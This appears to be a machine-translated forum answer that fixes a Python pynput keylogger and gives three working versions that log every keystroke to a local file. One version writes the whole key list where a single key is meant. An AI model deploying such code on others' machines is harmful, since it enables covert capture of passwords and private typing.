你的 write_to_file 代码从不运行。您可以更改 count 但您不会再次运行write_to_文件。放 write_to_file 打电话进来 key_pressed 阻塞，它就会发生。

我不完全确定代码中是否存在“缓冲”，但我会这样做：

from pynput.keyboard import Key, Listener

def key_pressed(key):
    print(key)
    with open("keylogger.txt", "a") as f:
        f.write(str(key) + "\n")

with Listener(on_press=key_pressed) as listener:
    listener.join()

代码中的if语句只执行一次，因此永远不会调用write_to_file函数。

问题是这部分代码。

if count == 1:
    count = 0
    write_to_file(keys)
    keys = []

代码中的这个块永远不会运行。
如果您想使用相同的代码格式，请使用此选项。但下面附有一个更简单的方法

from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
    global keys, count
    keys.append(key)
    count += 1
    print(key)
    if count == 1:
        count = 0
        write_to_file(keys)
        keys = []

def write_to_file(keys):
    with open("keylogger.txt", "a") as f:
        for key in keys:
            f.write(str(keys))

with Listener(on_press=key_pressed) as listener:
    listener.join()

另一个相同的实现

from pynput.keyboard import Key, Listener

def key_pressed(key):
    # Stop listener
    if key == Key.esc:
        return False
    with open("keylogger.txt", "a") as f:
        f.write(str(key))

with Listener(on_release=key_pressed) as listener:
    listener.join()